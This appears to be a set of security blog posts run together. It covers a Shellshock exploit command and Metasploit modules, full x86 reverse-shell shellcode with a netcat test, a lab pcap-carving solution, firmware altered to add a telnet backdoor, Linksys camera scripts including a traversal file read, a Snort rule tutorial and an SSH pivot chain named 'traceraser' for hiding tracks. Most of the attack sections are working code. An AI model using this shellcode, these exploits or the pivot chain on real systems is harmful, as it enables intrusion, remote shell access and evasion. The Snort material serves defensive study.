# ./cve-2014-6271-cmd http 127.0.0.1 1580 cgi-bin/env.sh '/bin/uname -a'

Metasploit modules

msf > use auxiliary/scanner/http/apache_mod_cgi_bash_env
msf > use exploits/multi/http/apache_mod_cgi_bash_env_exec

# Reverse TCP bind shell setting source port


SERVER# cat sc.asm 
BITS 32
section .txt
global _start
_start:
; sockfd=socket(AF_INET,SOCK_STREAM,0)
; sockfd=socket(2,1,0)
push byte 0x66          ; socketcall number (102)
pop eax
cdq                     ; xor edx,edx
xor ebx,ebx
inc ebx                 ; ebx=0x00000001 (socket)
push edx                ; edx=0x00000000
push byte 0x01
push byte 0x02
mov ecx,esp
int 0x80                ; system call
xchg esi,eax
; bind(sockfd,(struct sockaddr *)&sin,sizeof(struct sockaddr_in))
; bind(sockfd,[2,4321,0],16)
push byte 0x66          ; socketcall number (102)
pop eax
inc ebx                 ; ebx=0x00000002 (bind)
push edx                ; edx=0x00000000 (Any available source IP)
push word 0xe110        ; source port = 4321
push word bx            ; 0x0002
mov ecx,esp
push byte 0x10          ; 16
push ecx
push esi
mov ecx,esp
int 0x80                ; system call
; connect(sockfd,(struct sockaddr *)&sin,sizeof(struct sockaddr_in))
; connect(sockfd,[2,1234,127.0.0.1],16)
push byte 0x66          ; socketcall number (102)
pop eax
push dword 0x01bbbb7f   ; 127.187.187.1
xor ecx,ecx
mov word [esp+1],cx     ; destination ip = 127.0.0.1
push word 0xd204        ; destination port = 1234
push word bx            ; 0x0002
mov ecx,esp
push byte 0x10          ; 16
push ecx
push esi
mov ecx,esp
inc ebx                 ; ebx=0x00000003 (connect)
int 0x80                ; system call
xchg ebx,esi
; dup2(cfd,i)
push byte 0x2
pop ecx
dup_loop:
mov byte al,0x3f        ; dup2 number (63)
int 0x80                ; system call
dec ecx
jns dup_loop
; execve("/bin/sh",shell,NULL)
xor eax,eax
mov byte al,11          ; system call number
push edx                ; \0
push long 0x68732f2f    ; hs//
push long 0x6e69622f    ; nib/
mov ebx,esp             ; first parameter
push edx
mov edx,esp             ; third parameter
push ebx
mov ecx,esp             ; second parameter
int 0x80                ; system call

SERVER# nasm -f elf sc.asm && ld -o sc sc.o
CLIENT# nc -lv 127.0.0.1 1234
SERVER# ./sc

Connection from [127.0.0.1] port 1234 [tcp/*] accepted (family 2, sport 4321)
hostname
SERVER
exit
CLIENT#

# WAP Challenge 14: HTTP Traffic File Carving


# url='http://videos.pentesteracademy.com.s3.amazonaws.com/videos/wap-challenges/http-forensics2.pcap'
# wget --quiet --output-document=http-forensics2.pcapng $url
# editcap -F libpcap -T ether http-forensics2.pcapng http-forensics2.pcap
# tshark -nr http-forensics2.pcap | grep octet
 15   9.678371 192.168.1.13 -> 67.159.60.66 HTTP 1155 POST /upload_fileapi.php?3529945644=0&file=0&startpos=0&r=0.5286034531386509 HTTP/1.1  (application/octet-stream)
 63  27.056300 192.168.1.13 -> 67.159.60.61 HTTP 1161 POST /upload_fileapi.php?7792025787=0&file=0&startpos=0&r=0.3998272621670734 HTTP/1.1  (application/octet-stream)
116  46.865880 192.168.1.13 -> 67.159.60.29 HTTP 1161 POST /upload_fileapi.php?4000038131=0&file=0&startpos=0&r=0.9503461291640495 HTTP/1.1  (application/octet-stream)
182  67.593167 192.168.1.13 -> 84.39.117.75 HTTP 1160 POST /upload_fileapi.php?5200689443=0&file=0&startpos=0&r=0.02202681328946554 HTTP/1.1  (application/octet-stream)
# cat solution.py
#!/usr/bin/python

import itertools
import scapy.all as scapy
import zipfile
import os 

pcap = scapy.rdpcap("http-forensics2.pcap")
zip = []

for frame in pcap:
    if 'octet-stream' in frame[scapy.Raw].load:
        zip.append(frame[scapy.Raw].load.split('\r\n')[-3])

i = 0

perms = itertools.permutations(zip, len(zip))
for p in perms:
 zfn = str(i) + '.zip'
 zf = open(zfn, 'wb')
 for ostream in p: 
  zf.write(ostream)
 zf.close()
 if zipfile.is_zipfile(zfn):
  try:
   zf = zipfile.ZipFile(zfn, 'r')
   zf.extractall()
   print zf.namelist()
   os.exit()
  except:
   os.remove(zfn)
   pass
  i += 1
# ./solution.py
['split-file/', 'split-file/pass']
# cat split-file/pass
12wsdqwe32109

# Flashing WVC54GCA with a custom firmware


# file /sbin/init
/sbin/init: ELF 32-bit LSB  shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=c394677bccc720a3bb4f4c42a48e008ff33e39b1, stripped
# cat /etc/lsb-release | grep DESC
DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"
# mkdir wvc54gca
# cd wvc54gca
# wget http://downloads.linksysbycisco.com/downloads/wvc54gca_v1.00R24.tgz
# tar xvzf wvc54gca_v1.00R24.tgz
# md5sum wvc54gca_v1.00R24.tgz
26475f583a55acf515d90d9c0340899d  wvc54gca_v1.00R24.tgz
# apt-get install autotools-dev libncurses5-dev
# rm /bin/sh
# ln -s /bin/bash /bin/sh
# cd source
# cat README
# cat src/rootfs/etc/init.d/rcS
# echo -e "\n# ---- Start Telnet Server (debug) ---- #\n/usr/sbin/telnetd &" >> src/rootfs/etc/init.d/rcS
# cat src/rootfs/etc/passwd 
root:9szj4G6pgOGeA:0:0:root:/root:/bin/sh
# openssl passwd -crypt toor
TEcqq4feRqPLA
# sed -i 's/9szj4G6pgOGeA/TEcqq4feRqPLA/' src/rootfs/etc/passwd
# ./makeall
# file FW/WVC54GCA.bin
FW/WVC54GCA.bin: data

# Timelapse with WVC54GCA (Linksys IP camera)


Video stream (no audio)

# vlc http://192.168.1.10/img/mjpeg.cgi
# vlc http://192.168.1.10/img/video.mjpeg
# vlc rtsp://192.168.1.10/img/video.sav

Video stream (audio)

# vlc http://192.168.1.10/img/video.asf

Snapshot

# wget --quiet --output-document=image.jpg 'http://192.168.1.10/img/mobile.cgi'
# wget --quiet --output-document=image.jpg 'http://192.168.1.10/img/snapshot.cgi?size=X&quality=Y'

- Size:
1 = 160×128
2 = 320×240
3 = 640×480

- Quality:
1 = Very high
2 = High
3 = Normal
4 = Low
5 = Very low

Timelapse

# cat timelapse.sh 
#!/bin/bash

action="$1"

if [ "$action" == "run" ]; then
 screen -dmS timelapse /bin/bash
"       screen -S timelapse -p 0 -X stuff "/root/timelapse/timelapse.sh take_pictures
 exit
fi

dir="/var/timelapse/jpg"

if [ "$action" == "take_pictures" ]; then
 camip="192.168.1.10"
 size="3"
 quality="1"
 url="http://$camip/img/snapshot.cgi?size=$size&quality=$quality"

 function getcol {
  echo $1 | awk -v c=$3 -F "$2" '{print $c}'
 }

 while `sleep 1`; do 
  date="`date +%u:%T`"
  second=`getcol "$date" ":" "4"`
  if [ "$second" == "00" ] || [ "$second" == "30" ]; then
   day=`getcol "$date" ":" "1"`
   hour=`getcol "$date" ":" "2"`
   minute=`getcol "$date" ":" "3"`
   od="$day-$hour$minute$second.jpg"
   wget --quiet --output-document=$dir/$od $url
  fi
 done
 exit
fi

if [ "$action" == "make_video" ]; then
 list="snapshots.list"
 vid="video.avi"
 if [ -f "$vid" ]; then
  timestamp=`date +%Y%m%d%H%M%S`
  vid="$vid-$timestamp"
 fi
 find $dir > $list
 mencoder "mf://$dir/*.jpg" -mf fps=7 -nosound -noskip -ovc copy -o $vid 
 rm $list
fi
# ./timelapse.sh run
# ./timelapse.sh make_video

Bonus

# cat cam.sh
#!/bin/bash

user="admin"
pass="1234"
ip="192.168.1.10"

action="$1"

if [ "$action" == "cat" ]; then
 file=`echo "$2" | sed -e 's/\./%2e/g' -e 's/\//%2f/g'`
 # http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/
 curl --silent -u $user:$pass "http://$ip/adm/file.cgi?next_file=$file"
 exit
fi

if [ "$action" == "reboot" ]; then
 curl --silent -u $user:$pass "http://$ip/adm/reboot.cgi"
 exit
fi

if [ "$action" == "video" ]; then
 vlc "http://$ip/img/video.asf"
 exit
fi

# Snort rule structure and syntax


Overview

A rule is a specified set of keywords and arguments used as matching criteria to identify security policy violations.
The engine compares packets against the conditions specified in each rule.
If the packet data matches all the conditions specified in a rule, the rule is triggered.
The action field in the rule specifies what should be done next.
Rules contain two logical sections: the rule header and the rule body.

The rule header

Identifies how to match traffic based on the following criteria:

- Action
- Protocol
- Source IP
- Source port
- Operator
- Destination IP
- Destination port

Example:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
Note the usage of variables. Makes rule management easier.

Action

The following actions are available in IDS mode:

- alert: Log the event and send an alert message to the output component.
- pass: Ignore the packet.

When your installation is deployed inline:

- Generate Events: Issues console alerts.
- Drop & Generate Events: Block and alert.
- Disabled: Prevents the rule from being enforced thus saving processing cycles.

Protocol

The following protocols are supported:

- TCP
- UDP
- ICMP
- IP

Source and Destination IPs

In all cases, the best practice is to use variables.
The system recognizes only IP addresses and will not accept hostnames.
You cand specify:

- Any IP address, using the keyword 'any'.
- A single IP address.
- A list of IP addresses [192.168.1.1, 192.168.1.5].
- A range of IP addresses 192.168.1.0/24.
- The negation of IP addresses !192.168.1.10.
- A variable previously defined in the snort.conf file.

Source and Destination Ports

You cand specify:

- Any port, using the keyword 'any'.
- A single port.
- A list of ports [21, 23, 80-90]
- A range of ports 80-443.
- The negation of ports !80
- A variable previously defined in the snort.conf file.

Operator: specifying direction

To indicate that a rule triggers against traffic:

- From the source IP to the destination IP, use the directional operator '->'.
- Between the source IP and the destination IP, use the bi-directional operator '<>'.

The rule body

This is where you can specifically drill into a packet and get the content that actually signals malicious or suspicious activity.
The entire body is enclosed in parentheses.
Rule options end in a semicolon (;).
An option is structured as a keyword followed by a colon (:), followed by one or multiple arguments. Arguments are separated by commas (,).
For example: tag:session, 30, seconds;
Options that act on content, apply on the previous argument string of the previous content keyword.
For example: content:"root"; nocase;
A rule can contain multiple content references. They are treated as an AND operation.
For example: content:"username:"; nocase; content:"password:"; nocase;

Defining the event message
alert tcp any any -> $HOME_NET 23 \
(msg:"Suspicious Telnet!";
content:"root"; nocase; \
sid:1000000;)
Content Matches

You can mix hexadecimal content and ASCII content.
content:"|90 90 90 E8 C0 FF FF FF|/bin/sh";
You can also negate or exclude content.
content:!"GET";

Constraining content matches

- nocase: To ignore the case in ASCII strings.
- offset: Allows you to specify where the detection engine should start searching for content within a packet (bytes).
- depth: The maximum search depth (bytes) from the offset value.
- distance: The detection engine starts searching for content matches after the specified number of bytes from the previous content match.
- within: The next content match must occur within the specified number of bytes after the end of the last content match including the distance value.

Server flow

- to_client or from_server: Triggers on server responses.
- to_server or from_client: Triggers on client responses.
- established: Triggers on established TCP connections.
- stateless: Triggers regardless of the state of the stream processor.
- no_stream: Does not trigger on rebuilt stream packets.
- only_stream: Triggers only on rebuilt stream packets.

Snort ID option

Snort rules all have unique ID numbers.
Custom rules should you a number greater than 1000000.

Rule revision number

Lets you assign a revision number to a rule that you have edited.

Metadata

This is a required option for rules in the Sourcefire system.
You can embed additional information about a rule which other parts of the Snort engine can use.
For example:
metadata:service http;
metadata:impact_flag red;

Flags

To check if TCP flags are present:

F: FIN
S: SYN
R: RST
P: PSH
A: ACK
U: URG
1: Reserved bit 1
2: Reserved bit 2
0: No flags set

Use the following modifies to change the match criteria:

+: Match on the specified bits plus any others.
*: Match if any of the specified bits are set.
!: Match if the specified bits are not set.

flags:[!|*|+]<FSRPAU120>[,<FSRPAU120>]

The optional parameter indicates the flag bits you wish to ignore.

file_data

Sets the cursor used for detection to one of the following buffers:

- When traffic is HTTP:

1. HTTP response body, without chunking/compression/normalization.
2. HTTP de-chunked response body.
3. HTTP normalized response body, when normalized javascript is turned on.
4. HTTP UTF normalized response body, when normalized utf is turned on.
5. All of the above.

- When traffic is SMTP/POP/IMAP:

1. SMTP/POP/IMAP data body, including email headers and MIME when decoding is turned off.
2. Base64 decoded MIME attachment, when b64_decode_depth is greater than -1.
3. Non-Encoded MIME attachment, when bitenc_decode_depth is greater than -1.
4. Quoted-Printable decoded MIME attachment, when qp_decode_depth is greater than -1.
5. Unix-to-unix decoded attachment, when uu_decode_depth is greater than -1.

detection_filter

Replaces the threshold keyword in a rule.
It defines a rate which must be exceeded by source/destination before a rule can generate an event.
Is evaluated as part of the detection phase, just after pattern matching.

Parameters:

- track by_src or track by_dst.
- count: the number of events.
- seconds: the time over which the count is measured.

For example:

detection_filter: track by_src, count 10, seconds 30;

The alert will trigger after 10 events are seen from each unique source IP within 30 seconds.

fast_pattern

By default, the longest content statement for each rule is placed into the fast pattern matching engine.
Only if this string is found in a packet, the remaining options in the rule are evaluated.
However, you have the ability to control which piece of content gets placed into the fast pattern matching engine with the fast_pattern rule option.

content:"jumanji"; fast_pattern;

fast_pattern:only: the content should only be used for fast pattern matcher and not evaluated as a content rule option.
fast_pattern:<offset>,<length>: specify where the fast pattern matcher should look for the content.

flowbits

This rule option is used to set tags which can be referenced in subsequent rules.

Parameters:

- set: sets the specified state for the current flow.
- setx: sets the specified state exclusively.
- unset: unsets the specified states.
- toggle: inverts the specified state.
- isset: checks if the specified state is set.
- isnotset
- noalert: intructs to not generate an alert, regardless of the detection options.
- reset: resets the states on a given flow.

flowbits: [set|setx|unset|toggle|isset,isnotset,noalert,reset][,state_name][,group_name]

- state_name: the name that will be referred to in other rules when testing the flowbit.
- group_name: is used to associate multiple flowbits together.

byte_jump/test/extract

Gives the ability to seek information within a packet payload where the location of content is not necessarily known but can be obtained.

- byte_jump: moves the inspection pointer a number of bytes forward.
- byte_test: reads bytes and determine if they are less than, greater than, equal or not equal to a specified value.
- byte_extract: reads bytes and create a variable that represents this value.

Case #1: Malformed GIF overflow

alert tcp $EXTERNAL_NET $FILE_DATA_PORTS -> $HOME_NET any \
(msg:"FILE-IDENTIFY GIF file magic detected"; \
flow:to_client, established; \
file_data; \
content:"GIF8"; depth:4; fast_pattern; \
content:"a"; within:1; distance:1; \
flowbits:set,file.gif; flowbits:noalert; \
metadata:service http, service imap, service pop3; \
classtype:misc-activity; \
sid:20459; rev:8;)

file_data;, the search for this content starts at the beginning of the file buffer not the payload.
flowbits:set,file.gif;, the file.gif flowbit is set.
metadata:service http, service imap, service pop3;, using the Adaptive Profiles feature the rule is still being enforced even though the $FILE_DATA_PORTS variable does not include non-standard ports.

alert tcp $EXTERNAL_NET $FILE_DATA_PORTS -> $HOME_NET any \
(msg:"FILE-IMAGE Oracle Java Virtual Machine malformed GIF buffer overflow attempt"; \
flow:to_client,established; \
flowbits:isset,file.gif; \
file_data; \
content:"GIF"; \
byte_test:1,!&,128,7,relative; \
content:","; within:1; distance:10; \
content:"|00 00|"; within:2; distance:4; \
metadata:policy security-ips drop, service http, service imap, service pop3; \
reference:bugtraq,22085; reference:cve,2007-0243; \
classtype:attempted-user; \
sid:10062; rev:9;)

flowbits:isset,file.gif;, checks if the file.gif flowbit is set.
byte_test:1,!&,128,7,relative;, reads 1 byte at a location 7 bytes away from the DOE's pointer current location. DOE means Detect Offset End. The byte_test returns True if the logical AND between the byte and the mask (10000000b ~ 128d) is equal to 00000000b ~ False => !(False) = True. After this operation, the DOE pointer remains in the same position.
content:","; within:1; distance:10;, from the "GIF" match, after 10 bytes and within 1 byte, the value should be a comma.
content:"|00 00|"; within:2; distance:4;, from the "," match, after 4 bytes and within 2 bytes, the value should be 0x00 0x00.

Case #2: Windows Help Center escape sequence vulnerability

alert  tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any \
(msg:"OS_WINDOWS Microsoft Windows Help Center escape sequence XSS attempt"; \
flow:to_client,established; \
file_data; \
content:"hcp|3A 2F 2F|"; nocase; \
content:"script"; distance:0; nocase; \
content:"defer"; distance:0; nocase; \
pcre:"/hcp\x3a\x2f\x2f[^\n]*(\x3c|\x253c)script(\s|\x2520|\x2f)+defer/iO"; \
metadata:policy balanced-ips drop, policy security-ips drop, service http; \
reference:bugtraq,40725; \
reference:cve,2010-1885; \
reference:url,osvdb.org/show/osvdb/65264; \
reference:url,www.microsoft.com/technet/security/bulletin/MS10-042.mspx; \
classtype:attempted-user; \
sid:16665; rev:5;)

The distance:0 without a within, is simply telling the content match has to occur after the previous match, regardless where in the packet.
The use of three content matches before the pcre evaluation speeds up the rule.
hcp\x3a\x2f\x2f[^\n]*, search for hcp:// before no "new lines" characters until the next regex match.
(\x3c|\x253c)script, search for a "<" or a "%3c" before the "script" word.
(\s|\x2520|\x2f)+defer, search for at least one "whitespace" (space, tab, newline, formfeed, linebreak, ...) or a "%20" or a "/", before the "refer" word.
iO, two modifiers; i means case-insensitive and O forces to evaluate the regex, even if it is taking too long.

Case #3: The Kaminsky DNS vulnerability

alert udp $EXTERNAL_NET 53 -> $HOME_NET any \
(msg:"PROTOCOL-DNS large number of NXDOMAIN replies - possible DNS cache poisoning"; \
byte_test:1,&,2,3; \
byte_test:1,&,1,3; \ 
byte_test:1,&,128,2; \
detection_filter:track by_src, count 1200, seconds 30; \
metadata:service dns; \
reference:cve,2008-1447; \
reference:cve,2009-0233; \
reference:url,technet.microsoft.com/en-us/security/bulletin/MS09-008; \
reference:url,www.kb.cert.org/vuls/id/800113; \
classtype:misc-attack; \
sid:13948; rev:10;)

byte_test:1,&,2,3;, reads 1 byte at a location 3 bytes away and returns True if the logical AND between the byte and the mask (00000010b ~ 2d) is not equal to 0.
byte_test:1,&,1,3;, reads the previous byte again and returns True if the logical AND between the byte and the mask (00000001b ~ 1d) is not equal to 0.
byte_test:1,&,128,2;, reads 1 byte at a location 2 bytes away and returns True if the logical AND between the byte and the mask (10000000b ~ 128d) is not equal to 0.
detection_filter:track by_src, count 1200, seconds 30;, sets the threshold that must be met in order for the rule to trigger.

Case #4: The content option for overflow detection

alert tcp $EXTERNAL_NET any -> $HOME_NET 4000 \
(msg:"SERVER-OTHER Alt-N SecurityGateway username buffer overflow attempt"; \
flow:to_server, established; \
content:"username=",nocase; \
isdataat:450,relative; \
content:!"|3B|"; within:450; \
content:!"|3A|"; within:450; \
content:!"&"; within:450; \
content:!"|0A|"; within:450; \
metadata:service http;\
policy connectivity-ips drop, policy security-ips drop; \
reference:cve,2008-4193; reference:url,secunia.com/advisories/30497/; \
classtype:attempted-admin; \
sid:13916; rev:9;)

isdataat:450,relative;, verifies if there is 450 bytes after the end of the "username=" string.
Next, the engine verifies there is not a colon, semicolon, ampersand and linefeed within 450 bytes of the end of the "username=" string.

References

http://manual.snort.org

# Pivoting with SSH port forwarding


# cat traceraser 
#!/bin/bash

localhost="127.0.0.1"

declare -A pivotA
pivotA[ip]="1.1.1.1"
pivotA[user]="userA"

declare -A pivotB
pivotB[ip]="2.2.2.2"
pivotB[user]="userB"

declare -A pivotC
pivotC[ip]="3.3.3.3"
pivotC[user]="userC"

declare -A pivotD
pivotD[ip]="4.4.4.4"
pivotD[user]="userD"

declare -A Destination
Destination[ip]="5.5.5.5"
Destination[user]="UserDest"

#echo "||||||||||||"
#echo "TOR Cloud"
echo " ||||||||||"
echo "Pivot ${pivotA[ip]}"
#usewithtor ssh ...  Only in the first hop
ssh -L $localhost:6661:${pivotB[ip]}:22 -f -N -p 22   ${pivotA[user]}@${pivotA[ip]}
echo "  ||||||||"
echo "Pivot ${pivotB[ip]}"
ssh -L $localhost:6662:${pivotC[ip]}:22 -f -N -p 6661 ${pivotB[user]}@$localhost
echo "   ||||||"
echo "Pivot ${pivotC[ip]}"
ssh -L $localhost:6663:${pivotD[ip]}:22 -f -N -p 6662 ${pivotC[user]}@$localhost
echo "    ||||"
echo "Pivot ${pivotD[ip]}"
ssh -D 1080                             -f -N -p 6663 ${pivotD[user]}@$localhost
echo "     ||"
echo "Destination ${Destination[ip]}"
tsocks ssh -p 22 ${Destination[user]}@${Destination[ip]}
killall ssh
# ./traceraser.sh
 ||||||||||
Pivot 1.1.1.1
  ||||||||
Pivot 2.2.2.2
   ||||||
Pivot 3.3.3.3
    ||||
Pivot 4.4.4.4
     ||
Destination 5.5.5.5
UserDest@5.5.5.5's password: